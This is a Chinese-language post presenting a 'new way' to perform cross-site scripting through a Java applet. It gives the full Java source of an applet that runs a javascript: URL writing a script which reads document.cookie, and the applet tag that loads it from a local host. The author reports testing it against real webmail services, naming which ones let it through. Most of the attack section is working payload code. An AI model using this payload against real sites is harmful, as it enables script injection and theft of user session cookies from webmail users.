A new way to xss with java applet (很早以前写的文章,拿出来先放个1楼)
一、java Applet介绍
CVE2012-4681 使我关注到了java applet,简单介绍一下java applet其实类似于FLASH是浏览器一个组件(插件),和微软的ActiveX插件相似。详细的可以参考百度百科:
Applet可以翻译为小应用程序,Java Applet就是用Java语言编写的这样的一些小应用程序,它们可以直接嵌入到网页中,并能够产生特殊的效果。包含Applet的网页被称为Java-powered页,可以称其为Java支持的网页。
当用户访问这样的网页时, Applet被下载到用户的计算机上执行,但前提是用户使用的是支持Java的网络l浏览器。由于Applet是在用户的计算机上执行的,因此它的执行速度不受网络带宽或者Modem存取速度的限制。用户可以更好地欣赏网页上Applet产生的多媒体效果。
二、java applet执行JavaScript代码
Java applet提供了执行了javascript代码的接口,通过调用applet的getAppletContext()方法返回Context对象,然后再次调用Context的showDocument方法通过javascript:jscode执行javascript代码,相关代码如下:
package bug.applet;
import java.applet.*;
import java.awt.Graphics;
import java.net.*;
public class AppletXss extends Applet {
public void init(){
SecurityManager sm=System.getSecurityManager();
sm.getSecurityContext();
xss();
}
public void paint(Graphics paramGraphics,String message) {
paramGraphics.drawString("Loading", 50, 25);
}
public void xss(){
try {
URL url = new URL("javascript:document.writeln('<script>alert(document.cookie);alert(/xss/);</script>')");
getAppletContext().showDocument(url);
} catch(MalformedURLException e) {
paint(this.getGraphics(),"不支持JavaScript调用!");
}
}
}
Xss payload调用代码:
<applet codebase="http://192.168.56.1/" code="bug/applet/AppletXss.class" width=500 height=300></applet>
AppletXss.class,放在192.168.56.1的根目录下的bug/applet目录下。
测试了下威力目前139邮箱可以通过,126被转义了,qq直接把applet标签弄死了。算是一种构造xss的新方法吧。